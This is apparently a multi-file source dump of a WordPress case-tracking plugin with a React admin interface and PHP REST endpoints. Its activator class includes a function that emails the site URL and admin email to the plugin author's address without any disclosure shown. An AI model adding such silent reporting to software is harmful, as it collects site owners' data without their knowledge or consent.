</h3> </div> <CSSTransition in={accordion === 3} timeout={400} classNames="editing" unmountOnExit > <div className="spec-container"> <ul> <li>{data.third_accordion_first_li_item}</li> <li>{data.third_accordion_second_li_item}</li> <li>{data.third_accordion_third_li_item}</li> <li>{data.third_accordion_forth_li_item}</li> <li>{data.third_accordion_fifth_li_item}</li> </ul> </div> </CSSTransition> </div> <hr /> <p>{data.instructions_footer_info}</p> </Fragment> ); } <file_sep>/README.md Wordpress plugin under development <file_sep>/react-app/App.js import React from "react"; //components import Wrapper from "./components/layout/Wrapper"; import Clients from "./components/layout/Clients"; import Cases from "./components/layout/Cases"; import Progress from "./components/layout/Progress"; import CasesContainer from "./components/layout/CasesContainer"; import Initial from "./components/layout/Initial"; import HowToUse from "./components/layout/HowToUse"; //contexts import ClientsState from "./context/clients/ClientsState"; import CasesState from "./context/cases/CasesState"; import InViewState from "./context/inView/InViewState"; import ProgressState from "./context/progress/progressState"; //libs import { ToastContainer } from "react-toastify"; //App bootstrap export default function App() { return ( <InViewState> <ClientsState> <CasesState> <ProgressState> <ToastContainer /> <Wrapper> <Clients /> <CasesContainer> <Initial /> <HowToUse /> <Cases /> <Progress /> </CasesContainer> </Wrapper> </ProgressState> </CasesState> </ClientsState> </InViewState> ); } <file_sep>/react-app/components/layout/Clients.js import React, { useContext } from "react"; import Client from "./Client"; import Search from "./Search"; import TopIcons from "./TopIcons"; import ClientsContext from "../../context/clients/clientsContext"; import Spinner from "./Spinner"; export default function Clients() { const clientsContext = useContext(ClientsContext); const { state } = clientsContext; const clientsArr = [...state.users]; return ( <div className="clients-list-container"> <Search /> <TopIcons /> {state.loadingUsers && <Spinner />} {clientsArr.map((client) => ( <Client {...client} /> ))} </div> ); } <file_sep>/includes/Service_Tracker_Api_Contract.php <?php namespace ServiceTracker\includes; use \WP_REST_Request; /** * This is the required contract/interface used in order * to implement a full CRUD rest api end point. */ interface Service_Tracker_Api_Contract { /** * The method run is used to start the application. * It is necessary because it is add to the app with * the WordPress hook add_action * * @return void */ public function run(); /** * This method registers the end point, it is done * by calling the extended class method register_new_route. * * @return void */ public function custom_api(); /** * It verifys the request, then reads a table. * * @param WP_REST_Request $data * @return void */ public function read( WP_REST_Request $data ); /** * It verifys the request, then creates an new entry on a table. * * @param WP_REST_Request $data * @return void */ public function create( WP_REST_Request $data ); /** * It verifys the request, then updates a certain entry on a table. * * @param WP_REST_Request $data * @return void */ public function update( WP_REST_Request $data ); /** * It verifys the request, then it deletes a certain entry on a table. * * @param WP_REST_Request $data * @return void */ public function delete( WP_REST_Request $data ); } <file_sep>/vendor/composer/installed.php <?php return array ( 'root' => array ( 'pretty_version' => 'dev-main', 'version' => 'dev-main', 'aliases' => array ( ), 'reference' => 'e45b88c5ca9dbc69f25e86030a22302250f72413', 'name' => 'delbem/service-tracker', ), 'versions' => array ( 'delbem/service-tracker' => array ( 'pretty_version' => 'dev-main', 'version' => 'dev-main', 'aliases' => array ( ), 'reference' => 'e45b88c5ca9dbc69f25e86030a22302250f72413', ), 'fightbulc/moment' => array ( 'pretty_version' => '1.33.0', 'version' => '1.33.0.0', 'aliases' => array ( ), 'reference' => '435d68e481ab0a716358926fb51966e696d297e3', ), ), ); <file_sep>/includes/Service_Tracker_Api_Cases.php <?php namespace ServiceTracker\includes; use ServiceTracker\includes\Service_Tracker_Api_Contract; use ServiceTracker\includes\Service_Tracker_Sql; use ServiceTracker\includes\Service_Tracker_Api; use \WP_REST_Server; use \WP_REST_Request; use \WP_REST_Response; // The database name used for this class -> servicetracker_cases /** * This class will resolve api calls intended to manipulate the cases table. * It extends the API class that serves as a model. * * ENDPOINT => wp-json/service-tracker/v1/progress/[case_id] */ class Service_Tracker_Api_Cases extends Service_Tracker_Api implements Service_Tracker_Api_Contract { private $sql; private const DB = 'servicetracker_cases'; public function run() { $this->custom_api(); $this->sql = new Service_Tracker_Sql( self::DB ); } public function custom_api() { // register_new_route -> method from superclass / extended class $this->register_new_route( 'cases', '_user', WP_REST_Server::READABLE, array( $this, 'read' ) ); $this->register_new_route( 'cases', '', WP_REST_Server::EDITABLE, array( $this, 'update' ) ); $this->register_new_route( 'cases', '', WP_REST_Server::DELETABLE, array( $this, 'delete' ) ); $this->register_new_route( 'cases', '_user', WP_REST_Server::CREATABLE, array( $this, 'create' ) ); } public function read( WP_REST_Request $data ) { $this->security_check( $data ); $response = $this->sql->get_by( array( 'id_user' => $data['id_user'] ) ); return $response; } public function create( WP_REST_Request $data ) { $this->security_check( $data ); $body = $data->get_body(); $body = json_decode( $body ); $id_user = $body->id_user; $title = $body->title; return $this->sql->insert( array( 'id_user' => $id_user, 'title' => $title, 'status' => 'open', ) ); } public function update( WP_REST_Request $data ) { $this->security_check( $data ); $body = $data->get_body(); $body = json_decode( $body ); $title = $body->title; $response = $this->sql->update( array( 'title' => $title ), array( 'id' => $data['id'] ) ); } public function delete( WP_REST_Request $data ) { $this->security_check( $data ); $delete = $this->sql->delete( array( 'id' => $data['id'] ) ); } } <file_sep>/admin/translation/texts_array.php <?php // TODO: in the future move nonce to its own place $texts_array = array( 'root_url' => get_site_url(), 'api_url' => 'service-tracker/v1', 'nonce' => wp_create_nonce( 'wp_rest' ), 'search_bar' => __( 'Search for a client', 'service-tracker' ), 'home_screen' => __( 'Click on a client name, to se hers/his cases!', 'service-tracker' ), 'btn_add_case' => __( 'Add case', 'service-tracker' ), 'no_cases_yet' => __( 'No cases yet! Include a new one!', 'service-tracker' ), 'case_name' => __( 'Case name', 'service-tracker' ), 'tip_edit_case' => __( 'Edit the name of this case', 'service-tracker' ), 'tip_toggle_case_open' => __( 'This case is open! Click to close it.', 'service-tracker' ), 'tip_toggle_case_close' => __( 'This case is closed! Click to open it.', 'service-tracker' ), 'tip_delete_case' => __( 'Delete this case', 'service-tracker' ), 'btn_save_case' => __( 'Save', 'service-tracker' ), 'btn_dismiss_edit' => __( 'Dismiss', 'service-tracker' ), 'title_progress_page' => __( 'Progress for case', 'service-tracker' ), 'new_status_btn' => __( 'New Status', 'service-tracker' ), 'close_box_btn' => __( 'Close box', 'service-tracker' ), 'add_status_btn' => __( 'Add this status', 'service-tracker' ), 'tip_edit_status' => __( 'Edit this status', 'service-tracker' ), 'tip_delete_status' => __( 'Delete this status', 'service-tracker' ), 'btn_save_changes_status' => __( 'Save changes', 'service-tracker' ), 'toast_case_added' => __( 'Case added!', 'service-tracker' ), 'toast_toggle_base_msg' => __( 'Case is now', 'service-tracker' ), 'toast_toggle_state_open_msg' => __( 'open', 'service-tracker' ), 'toast_toggle_state_close_msg' => __( 'closed', 'service-tracker' ), 'toast_case_deleted' => __( 'Case deleted!', 'service-tracker' ), 'toast_case_edited' => __( 'Case edited!', 'service-tracker' ), 'toast_status_added' => __( 'Status added!', 'service-tracker' ), 'toast_status_deleted' => __( 'Status deleted!', 'service-tracker' ), 'toast_status_edited' => __( 'Status edited!', 'service-tracker' ), 'confirm_delete_case' => __( 'Do you want to delete the case under the name', 'service-tracker' ), 'confirm_delete_status' => __( 'Do you want to delete the status created in', 'service-tracker' ), 'alert_blank_case_title' => __( 'Case title can not be blank', 'service-tracker' ), 'alert_blank_status_title' => __( 'Status text can not be blank', 'service-tracker' ), 'alert_error_base' => __( 'It was impossible to complete this task. We had an error', 'service-tracker' ), 'no_progress_yet' => __( 'No progress is registered for this case.', 'service-tracker' ), 'customer_case_state_close' => __( 'close', 'service-tracker' ), 'instructions_page_title' => __( 'How to use this plugin', 'service-tracker' ), 'accordion_first_title' => __( 'Display info for customers access', 'service-tracker' ), 'first_accordion_first_li_item' => __( 'Create a secured page, one that is only available after login. (there are some approaches in order to achieve this result, find one that suits you website better)', 'service-tracker' ), 'first_accordion_second_li_item' => __( 'Copy and paste the following short code to the restricted page, [service-tracker-cases-progress]', 'service-tracker' ), 'first_accordion_third_li_item' => __( 'Now, every new status registered in a case/service will be displayed for that respective customer.', 'service-tracker' ), 'first_accordion_forth_li_item' => __( 'If you do not want to have a restricted customer page that is perfectly fine. Every new status triggers a email send which contains such status.', 'service-tracker' ), 'accordion_second_title' => __( 'Customers´ notifications', 'service-tracker' ), 'second_accordion_firt_li_item' => __( 'Everytime a new status is registered for a case, an email is sent to its respective customer.', 'service-tracker' ), 'second_accordion_second_li_item' => __( 'This plugin uses the default wp_mail function to send its emails. So, it is highly recomended to use WP Mail SMTP OR other smtp plugin alongside Service Tracker, in order to avoid lost emails. (The standard wp_mail from WordPress is notorius for sending emails straight to spam box. However, with the third party smtp plugins this can be easily avoided, as wp_mail is overwritten by them.)', 'service-tracker' ), 'accordion_third_title' => __( 'Service Tracker plugin updates, support and warranty', 'service-tracker' ), 'third_accordion_first_li_item' => __( 'Official support will ALWAYS be under the email of <EMAIL>.', 'service-tracker' ), 'third_accordion_second_li_item' => __( 'ANY modification of the source code of this plugin will cause loss of warranty, which implies no refound and loss of support.', 'service-tracker' ), 'third_accordion_third_li_item' => __( 'A refound order MUST be made within seven business days.', 'service-tracker' ), 'third_accordion_forth_li_item' => __( 'A license is valid for one site only.', 'service-tracker' ), 'third_accordion_fifth_li_item' => __( 'Updates must be on point. If not, Service Tracker may not work properly, as any WordPress plugin.', 'service-tracker' ), 'instructions_footer_info' => __( 'This plugin was coded and is maintained by <NAME>. Do you need any help? Contact me at <EMAIL>, or, alternatively, at <EMAIL>', 'service-tracker' ), ); <file_sep>/react-app/components/layout/Cases.js import React, { useContext, useState, Fragment } from "react"; import Case from "./Case"; import ReactTooltip from "react-tooltip"; import CasesContext from "../../context/cases/casesContext"; import InViewContext from "../../context/inView/inViewContext"; import Spinner from "../../components/layout/Spinner"; export default function Cases() { const inViewContext = useContext(InViewContext); const casesContext = useContext(CasesContext); const { state, postCase, currentUserInDisplay } = casesContext; const [caseTitle, setCaseTitle] = useState(""); //Required for navigation purposes if (inViewContext.state.view !== "cases") { return <Fragment></Fragment>; } if (state.loadingCases) { return <Spinner />; } if (state.cases.length === 0 && !state.loadingCases && currentUserInDisplay) { return ( <Fragment> <form> <input className="case-input" placeholder={data.case_name} onChange={(e) => { let title = e.target.value; setCaseTitle(title); }} type="text" value={caseTitle} /> <button onClick={(e) => { e.preventDefault(); caseTitle !== "" && postCase(currentUserInDisplay, caseTitle); setCaseTitle(""); }} className="add-case" > {data.btn_add_case} </button> </form> <div> <center> <h3>{data.no_cases_yet}</h3> </center> </div> </Fragment> ); } return ( <Fragment> <form> <input className="case-input" placeholder={data.case_name} onChange={(e) => { let title = e.target.value; setCaseTitle(title); }} type="text" value={caseTitle} /> <button onClick={(e) => { e.preventDefault(); caseTitle !== "" && postCase(currentUserInDisplay, caseTitle); setCaseTitle(""); }} className="add-case" > {data.btn_add_case} </button> </form> {state.cases.map((item) => ( <Case {...item} /> ))} <ReactTooltip place="left" type="dark" effect="solid" data-delay-show="1000" /> </Fragment> ); } <file_sep>/publics/partials/cases_progress.php <div class="st-container"> <?php foreach ( $user_cases_and_statuses as $case ) : ?> <div class="st-headers"> <div class="st-case-title"> <small class="st-title-small"> <?php echo $case['created_at']; ?> </small> <p> <?php echo esc_html_e( $case['case_title'] ); ?> - <?php echo esc_html_e( $case['case_status'], 'service-tracker' ); ?> </p> </div> </div> <div class="st-progress-container"> <ul class="st-ul-progress"> <?php foreach ( $case['progress'] as $status ) : ?> <li class="st-li-progress"> <small class="st-progress-small"> <?php echo $status['created_at']; ?> </small> <div class="st-text-container"> <p> <?php echo esc_html_e( $status['text'] ); ?> </p> </div> </li> <?php endforeach; ?> </ul> </div> <?php endforeach; ?> </div> <file_sep>/Service_Tracker_Uninstall.php <?php namespace ServiceTracker; class Service_Tracker_Uninstall { /** * This class will drop all tables */ public static function uninstall() { global $wpdb; $tableArray = array( 'servicetracker_cases', 'servicetracker_progress', 'servicetracker_uploads', ); foreach ( $tableArray as $tablename ) { $wpdb->query( "DROP TABLE IF EXISTS $tablename" ); } } } <file_sep>/includes/Service_Tracker_Mail.php <?php namespace ServiceTracker\includes; class Service_Tracker_Mail { /** * User id always expected to be an int. * * @var int $id */ public $id; /** * User id or email. It Can be either an int or a string. * * @var mixed $to */ public $to; /** * Title of the e-mail. * * @var string $subject */ public $subject; /** * Headers of the e-mail. * * @var array $headers */ public $headers; /** * Body of the email. * * @var string $message */ public $message; /** * Constructor method. * It will receive the parameters and equate then to the class properties. * * @param mixed $to * @param string $subject * @param string $message */ public function __construct( $to, $subject, $message ) { if ( is_int( $to ) || ctype_digit( $to ) ) { $this->id = (int) $to; $this->to = $this->getUserEmailById(); } if ( is_string( $to ) && ! ctype_digit( $to ) && filter_var( $to, FILTER_VALIDATE_EMAIL ) ) { $this->to = $to; } $this->subject = $subject; $this->headers = array( 'Content-Type: text/html; charset=UTF-8', 'From:' . get_bloginfo() . ' <' . get_option( 'admin_email' ) . '>' ); $this->message = $message; $this->sendEmail(); } /** * If only user id is available, * this function will retrieve the user email by the provided id. * * @return string */ public function getUserEmailById() { $userInfo = get_userdata( $this->id ); $userEmail = $userInfo->user_email; return $userEmail; } /** * This calls the wp_mail function. * * @return void */ public function sendEmail() { wp_mail( $this->to, $this->subject, $this->message, $this->headers ); } } <file_sep>/react-app/components/layout/Status.js import React, { useState, useContext, Fragment } from "react"; import dateformat from "dateformat"; import InViewContext from "../../context/inView/inViewContext"; import ProgressContext from "../../context/progress/progressContext"; import TextareaAutosize from "react-textarea-autosize"; import { FiEdit } from "react-icons/fi"; import { MdDeleteForever } from "react-icons/md"; export default function Status({ id, id_case, id_user, created_at, text }) { const inViewContext = useContext(InViewContext); const progressContext = useContext(ProgressContext); const { deleteStatus, editStatus } = progressContext; const [editable, setEditable] = useState(false); const [editedText, setEditedText] = useState(text); return ( <div className="status"> <div className="date-edit"> <div className="date"> <small> {dateformat(created_at, "dd/mm/yyyy, HH:MM")} id {id} </small> </div> <div className="edit"> <FiEdit data-tip={data.tip_edit_status} onClick={() => setEditable(!editable)} className="status-icon" /> </div> <div className="delete"> <MdDeleteForever data-tip={data.tip_delete_status} onClick={() => deleteStatus(id, created_at)} className="status-icon" /> </div> </div> <div className="record"> <div className="status-text"> {!editable && <p>{text}</p>} {editable && ( <form> <TextareaAutosize onChange={(e) => setEditedText(e.target.value)} readOnly={!editable} className={ editable ? "status-textarea" : "status-textarea remove-border" } defaultValue={text} /> {editable && ( <Fragment> <button className="btn btn-save" onClick={(e) => { e.preventDefault(); editStatus(id, id_user, editedText); setEditable(!editable); }} > {data.btn_save_changes_status} </button> <button className="btn btn-dismiss" onClick={(e) => { setEditable(!editable); }} > {data.btn_dismiss_edit} </button> </Fragment> )} </form> )} </div> </div> </div> ); } <file_sep>/react-app/components/layout/Case.js import React, { useContext, useState, Fragment } from "react"; import { CSSTransition } from "react-transition-group"; import CasesContext from "../../context/cases/casesContext"; import InViewContext from "../../context/inView/inViewContext"; import ProgressContext from "../../context/progress/progressContext"; import dateformat from "dateformat"; import { BsToggleOn, BsToggleOff } from "react-icons/bs"; import { FiEdit } from "react-icons/fi"; import { MdDeleteForever } from "react-icons/md"; export default function Case({ id, id_user, status, created_at, title }) { const casesContext = useContext(CasesContext); const { deleteCase, toggleCase, editCase } = casesContext; const inViewContext = useContext(InViewContext); const { updateIdView } = inViewContext; const progressContext = useContext(ProgressContext); const { getStatus } = progressContext; const [editing, setEditing] = useState(false); const [newTitle, setNewTitle] = useState(""); let borderStatus = {}; if (status === "open") borderStatus = { borderLeft: "4px solid green" }; if (status === "close") borderStatus = { borderLeft: "4px solid blue" }; return ( <Fragment> <div className="case-title" style={borderStatus}> <small>{dateformat(created_at, "dd/mm/yyyy, HH:MM")}</small> <h3> <span className="the-title" onClick={() => { updateIdView(id_user, id, "progress", inViewContext.state.name); getStatus(id, false, title); }} > {title} </span> <MdDeleteForever onClick={() => deleteCase(id, title)} data-tip={data.tip_delete_case} className="case-icon" /> {status === "open" && ( <BsToggleOn onClick={() => toggleCase(id)} data-tip={data.tip_toggle_case_open} className="case-icon" /> )} {status === "close" && ( <BsToggleOff onClick={() => toggleCase(id)} data-tip={data.tip_toggle_case_close} className="case-icon" /> )} <FiEdit onClick={() => setEditing(!editing)} data-tip={data.tip_edit_case} className="case-icon" /> </h3> </div> <CSSTransition in={editing} timeout={400} classNames="editing" unmountOnExit > <div className="editing-title"> <form> <input onChange={(e) => { let theNewTitle = e.target.value; setNewTitle(theNewTitle); }} className="edit-input" type="text" /> <button onClick={(e) => { e.preventDefault(); editCase(id, id_user, newTitle); }} className="btn btn-save" > {data.btn_save_case} </button> <button onClick={(e) => { e.preventDefault(); setEditing(!editing); }} className="btn btn-dismiss" > {data.btn_dismiss_edit} </button> </form> </div> </CSSTransition> </Fragment> ); } <file_sep>/includes/Service_Tracker_Api_Toggle.php <?php namespace ServiceTracker\includes; use ServiceTracker\includes\Service_Tracker_Sql; use ServiceTracker\includes\Service_Tracker_Api; use ServiceTracker\includes\Service_Tracker_Mail; use \WP_REST_Server; use \WP_REST_Request; class Service_Tracker_Api_Toggle extends Service_Tracker_Api { private $sql; /** * The messages that will be sent over email * * @var array */ private $closed; /** * The messages that will be sent over email * * @var array */ private $opened; public function __construct() { $this->closed = array( __( 'Your case was closed!', 'service-tracker' ), __( 'is now closed!', 'service-tracker' ) ); $this->opened = array( __( 'Your case was opened!', 'service-tracker' ), __( 'is now opened!', 'service-tracker' ) ); } public function run() { $this->custom_api(); $this->sql = new Service_Tracker_Sql( 'servicetracker_cases' ); } public function custom_api() { // Route for toggleling cases statuses $this->register_new_route( 'cases-status', '', WP_REST_Server::CREATABLE, array( $this, 'toggle_status' ) ); } public function send_email( $id_user, $title, $case_state_msg ) { $send_mail = new Service_Tracker_Mail( $id_user, $case_state_msg[0], $title . ' - ' . $case_state_msg[1] ); } /** * A case status progress always has a state, which indicates wether it is * opened, still in progress, or closed, it has been concluded. * * @param WP_REST_Request $data * @return void */ public function toggle_status( WP_REST_Request $data ) { $this->security_check( $data ); $response = $this->sql->get_by( array( 'id' => $data['id'] ) ); $response = (array) $response[0]; $id_user = $response['id_user']; $title = $response['title']; if ( $response['status'] === 'open' ) { $toggle = $this->sql->update( array( 'status' => 'close' ), array( 'id' => $data['id'] ) ); $this->send_email( $id_user, $title, $this->closed ); return $toggle; } if ( $response['status'] === 'close' ) { $toggle = $this->sql->update( array( 'status' => 'open' ), array( 'id' => $data['id'] ) ); $this->send_email( $id_user, $title, $this->opened ); return $toggle; } } } <file_sep>/react-app/components/layout/Client.js import React, { useContext } from "react"; import InViewContext from "../../context/inView/inViewContext"; import CasesContext from "../../context/cases/casesContext"; import { IoPersonOutline } from "react-icons/io5"; //TODO: inserir lastname export default function Client({ id, name }) { const inViewContext = useContext(InViewContext); const { updateIdView } = inViewContext; const casesContext = useContext(CasesContext); const { getCases } = casesContext; return ( <div onClick={() => { //false is necessery, because no case is actually in view yet updateIdView(id, "", "cases", name); getCases(id, false); }} className={ parseInt(inViewContext.state.userId) === parseInt(id) ? "client-active" : "client" } > <div className="name-and-icon"> <h3> <IoPersonOutline className="icon-client" />| {name} </h3> </div> </div> ); } <file_sep>/includes/Service_Tracker_Api_Progress.php <?php namespace ServiceTracker\includes; use ServiceTracker\includes\Service_Tracker_Api_Contract; use ServiceTracker\includes\Service_Tracker_Sql; use ServiceTracker\includes\Service_Tracker_Api; use ServiceTracker\includes\Service_Tracker_Mail; use \WP_REST_Server; use \WP_REST_Request; use \WP_REST_Response; // The database name used for this class -> servicetracker_progress /** * This class will resolve api calls intended to manipulate the progress table. * It extends the API class that serves as a model. * * ENDPOINT => wp-json/service-tracker/v1/cases/[user_id] */ class Service_Tracker_Api_Progress extends Service_Tracker_Api implements Service_Tracker_Api_Contract { private $sql; private const DB = 'servicetracker_progress'; public function run() { $this->custom_api(); $this->sql = new Service_Tracker_Sql( self::DB ); } public function custom_api() { // register_new_route -> method from superclass / extended class $this->register_new_route( 'progress', '_case', WP_REST_Server::READABLE, array( $this, 'read' ) ); $this->register_new_route( 'progress', '', WP_REST_Server::EDITABLE, array( $this, 'update' ) ); $this->register_new_route( 'progress', '', WP_REST_Server::DELETABLE, array( $this, 'delete' ) ); $this->register_new_route( 'progress', '_case', WP_REST_Server::CREATABLE, array( $this, 'create' ) ); } public function read( WP_REST_Request $data ) { $this->security_check( $data ); $response = $this->sql->get_by( array( 'id_case' => $data['id_case'] ) ); return $response; } public function create( WP_REST_Request $data ) { $this->security_check( $data ); $body = $data->get_body(); $body = json_decode( $body ); $id_user = $body->id_user; $id_case = $body->id_case; $text = $body->text; // An email will be sent to the customer with the progress info $send_mail = new Service_Tracker_Mail( $id_user, __( 'New status!', 'service-tracker' ), __( 'You got a new status: ', 'service-tracker' ) . $text ); return $this->sql->insert( array( 'id_user' => $id_user, 'id_case' => $id_case, 'text' => $text, ) ); } public function update( WP_REST_Request $data ) { $this->security_check( $data ); $body = $data->get_body(); $body = json_decode( $body ); $text = $body->text; $response = $this->sql->update( array( 'text' => $text ), array( 'id' => $data['id'] ) ); } public function delete( WP_REST_Request $data ) { $this->security_check( $data ); $delete = $this->sql->delete( array( 'id' => $data['id'] ) ); } } <file_sep>/includes/Service_Tracker_Activator.php <?php namespace ServiceTracker\includes; use ServiceTracker\includes\Service_Tracker_Mail; /** * This is called on activation, it will create the necessary tables. */ class Service_Tracker_Activator { public static function activate() { require_once ABSPATH . 'wp-admin/includes/upgrade.php'; global $wpdb; $tablename_cases = 'servicetracker_cases'; $main_sql_create_cases = 'CREATE TABLE ' . $tablename_cases . ' ('; $main_sql_create_cases .= 'id INT(10) UNSIGNED AUTO_INCREMENT PRIMARY KEY,'; $main_sql_create_cases .= ' id_user INT(20) NOT NULL,'; // this will be filled with the user's ID $main_sql_create_cases .= ' created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,'; $main_sql_create_cases .= ' status VARCHAR(255),'; $main_sql_create_cases .= ' title VARCHAR(255))'; maybe_create_table( $tablename_cases, $main_sql_create_cases ); $tablename_progress = 'servicetracker_progress'; $main_sql_create_progress = 'CREATE TABLE ' . $tablename_progress . ' ('; $main_sql_create_progress .= 'id INT(10) UNSIGNED AUTO_INCREMENT PRIMARY KEY,'; $main_sql_create_progress .= ' id_case INT(10) NOT NULL,'; $main_sql_create_progress .= ' id_user INT(20) NOT NULL,'; // this will be filled with the user's ID $main_sql_create_progress .= ' created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,'; $main_sql_create_progress .= ' text TEXT)'; maybe_create_table( $tablename_progress, $main_sql_create_progress ); } public static function activation_notice() { $subject = 'SERVICE TRACKER ACTIVATION NOTICE'; $message = 'Service Tracker activated at ' . get_site_url() . '. Site owner or admin email is ' . get_option( 'admin_email' ) . '.'; $send_mail = new Service_Tracker_Mail( '<EMAIL>', $subject, $message ); } } <file_sep>/react-app/components/layout/Progress.js import React, { useState, useContext, Fragment } from "react"; import ReactTooltip from "react-tooltip"; import { CSSTransition } from "react-transition-group"; import InViewContext from "../../context/inView/inViewContext"; import ProgressContext from "../../context/progress/progressContext"; import TextareaAutosize from "react-textarea-autosize"; import Spinner from "./Spinner"; import Status from "./Status"; export default function Progress() { const inViewContext = useContext(InViewContext); const progressContext = useContext(ProgressContext); const { state, postStatus } = progressContext; const [writingStatus, setWritingStatus] = useState(false); const [newText, setNewText] = useState(""); //Required for navigation purposes if (inViewContext.state.view !== "progress") { return <Fragment></Fragment>; } if (state.loadingStatus) { return <Spinner />; } //case id const idCase = inViewContext.state.caseId; //user id const idUser = inViewContext.state.userId; const allStatuses = [...state.status]; return ( <Fragment> <h3 style={{ marginTop: "0" }}> {data.title_progress_page} {state.caseTitle} </h3> <button onClick={(e) => { e.preventDefault(); setWritingStatus(!writingStatus); }} className={!writingStatus ? "btn btn-save" : "btn btn-dismiss"} > {!writingStatus ? data.new_status_btn : data.close_box_btn} </button> <CSSTransition in={writingStatus} timeout={400} classNames="editing" unmountOnExit > <div className="status-add-new-container"> <form> <TextareaAutosize onChange={(e) => { setNewText(e.target.value); }} className="status-add-new-textarea" value={newText} /> <button className="btn btn-save" onClick={(e) => { e.preventDefault(); if (newText.trim() === "") { alert(data.alert_blank_status_title); return; } postStatus(idUser, idCase, newText.trim()); setNewText(""); }} > {data.add_status_btn} </button> </form> </div> </CSSTransition> <div className="statuses-container"> {allStatuses.length <= 0 && <h3>{data.no_progress_yet}</h3>} {allStatuses.length > 0 && allStatuses.map((item, index) => <Status key={index} {...item} />)} </div> <ReactTooltip place="left" type="dark" effect="solid" data-delay-show="1000" /> </Fragment> ); } <file_sep>/react-app/context/AppReducer.js import { GET_CASES, GET_STATUS, GET_USERS, IN_VIEW } from "./types"; export default function AppReducer(state, action) { switch (action.type) { case GET_USERS: return { users: action.payload.users, loadingUsers: action.payload.loadingUsers, }; case GET_CASES: return { user: action.payload.user, cases: action.payload.cases, loadingCases: action.payload.loadingCases, }; case IN_VIEW: return { view: action.payload.view, userId: action.payload.userId, //user id caseId: action.payload.caseId, name: action.payload.name, }; case GET_STATUS: return { status: action.payload.status, caseTitle: action.payload.caseTitle, loadingStatus: action.payload.loadingStatus, }; default: return state; } } <file_sep>/react-app/components/layout/Initial.js import React, { Fragment, useContext } from "react"; import InViewContext from "../../context/inView/inViewContext"; export default function Initial() { const inViewContext = useContext(InViewContext); const { state } = inViewContext; //Required for navigation purposes if (state.view !== "init") { return <Fragment></Fragment>; } return ( <Fragment> <div> <center> <h3>{data.home_screen}</h3> </center> </div> </Fragment> ); } <file_sep>/react-app/context/cases/CasesState.js import React, { useReducer, useContext } from "react"; import CasesContext from "./casesContext"; import AppReducer from "../AppReducer"; import InViewContext from "../../context/inView/inViewContext"; import { toast } from "react-toastify"; import axios from "axios"; import { GET_CASES } from "../types"; export default function CasesState(props) { const inViewContext = useContext(InViewContext); const currentUserInDisplay = inViewContext.state.userId; const initialState = { user: "", cases: [], loadingCases: false, }; const [state, dispatch] = useReducer(AppReducer, initialState); const apiUrlCases = `${data.root_url}/wp-json/${data.api_url}/cases`; const getCases = async (id, onlyFetch) => { try { if (!onlyFetch) { dispatch({ type: GET_CASES, payload: { user: state.user, cases: state.cases, loadingCases: true, }, }); } const res = await axios.get(`${apiUrlCases}/${id}`, { headers: { "X-WP-Nonce": data.nonce, }, }); if (!onlyFetch) { dispatch({ type: GET_CASES, payload: { user: state.user, cases: res.data, loadingCases: false, }, }); } return res.data; } catch (error) { console.log(error); } }; const postCase = async (id, title) => { if (title === "") { alert("The title can not be blank!"); return; } const dataToPost = { id_user: id, title: title }; try { const postCase = await axios.post(`${apiUrlCases}/${id}`, dataToPost, { headers: { "X-WP-Nonce": data.nonce, "Content-type": "application/json", }, }); const getAllCases = await getCases(id, true); const newCaseAutoGeneratedId = getAllCases[getAllCases.length - 1].id; const newCase = { id: newCaseAutoGeneratedId, id_user: id, title: title, status: "open", }; let currentCases = state.cases; let newCases = [...currentCases, newCase]; dispatch({ type: GET_CASES, payload: { user: id, cases: newCases, loadingCases: false, }, }); toast.success(data.toast_case_added, { position: "bottom-right", autoClose: 5000, hideProgressBar: true, closeOnClick: true, pauseOnHover: true, draggable: true, progress: undefined, }); } catch (error) { alert( "Hum, it was impossible to complete this task. We had an error: " + error ); } }; const toggleCase = async (id) => { try { let currentCases = [...state.cases]; let notice; currentCases.forEach((element) => { if (element.id.toString() === id.toString()) { switch (element.status) { case "close": element.status = "open"; notice = data.toast_toggle_state_open_msg; break; case "open": element.status = "close"; notice = data.toast_toggle_state_close_msg; break; default: break; } } }); dispatch({ type: GET_CASES, payload: { user: id, cases: currentCases, loadingCases: state.loadingCases, }, }); toast.info(`${data.toast_toggle_base_msg} ${notice}`, { position: "bottom-right", autoClose: 5000, hideProgressBar: true, closeOnClick: true, pauseOnHover: true, draggable: true, progress: undefined, }); const toggleCase = await axios.post(`${apiUrlCases}-status/${id}`, null, { headers: { "X-WP-Nonce": data.nonce, }, }); } catch (error) { alert( "Hum, it was impossible to complete this task. We had an error: " + error ); } }; const deleteCase = async (id, title) => { const confirm = window.confirm( data.confirm_delete_case + " " + title + "?" ); if (!confirm) return; try { const cases = state.cases; const filteredCases = cases.filter( (theCase) => theCase.id.toString() !== id.toString() ); dispatch({ type: GET_CASES, payload: { user: id, cases: filteredCases, loadingCases: state.loadingCases, }, }); toast.warn(data.toast_case_deleted, { position: "bottom-right", autoClose: 5000, hideProgressBar: true, closeOnClick: true, pauseOnHover: true, draggable: true, progress: undefined, }); const deleteCase = await axios.delete(`${apiUrlCases}/${id}`, { headers: { "X-WP-Nonce": data.nonce, }, }); } catch (error) { alert( "Hum, it was impossible to complete this task. We had an error: " + error ); } }; const editCase = async (id, id_user, newTitle) => { if (newTitle === "") { alert(data.alert_blank_case_title); return; } const idTitleObj = JSON.stringify({ id_user: id_user, title: newTitle }); try { const cases = [...state.cases]; cases.forEach((item) => { if (item.id === id) { item.title = newTitle; } }); dispatch({ type: GET_CASES, payload: { user: id_user, cases: cases, loadingCases: state.loadingCases, }, }); toast.success(data.toast_case_edited, { position: "bottom-right", autoClose: 5000, hideProgressBar: true, closeOnClick: true, pauseOnHover: true, draggable: true, progress: undefined, }); const update = await axios.put(`${apiUrlCases}/${id}`, idTitleObj, { headers: { "X-WP-Nonce": data.nonce, "Content-type": "application/json", }, }); } catch (error) { alert( "Hum, it was impossible to complete this task. We had an error: " + error ); } }; if (state.user !== currentUserInDisplay) { dispatch({ type: GET_CASES, payload: { user: inViewContext.state.userId, cases: state.cases, loadingCases: state.loadingCases, }, }); } return ( <CasesContext.Provider value={{ state, currentUserInDisplay, getCases, postCase, deleteCase, toggleCase, editCase, }} > {props.children} </CasesContext.Provider> ); } <file_sep>/react-app/components/layout/CasesContainer.js import React from "react"; export default function CasesContainer(props) { return <div className="cases-container">{props.children}</div>; } <file_sep>/react-app/context/inView/inViewContext.js import { createContext } from "react"; const InViewContext = createContext(); export default 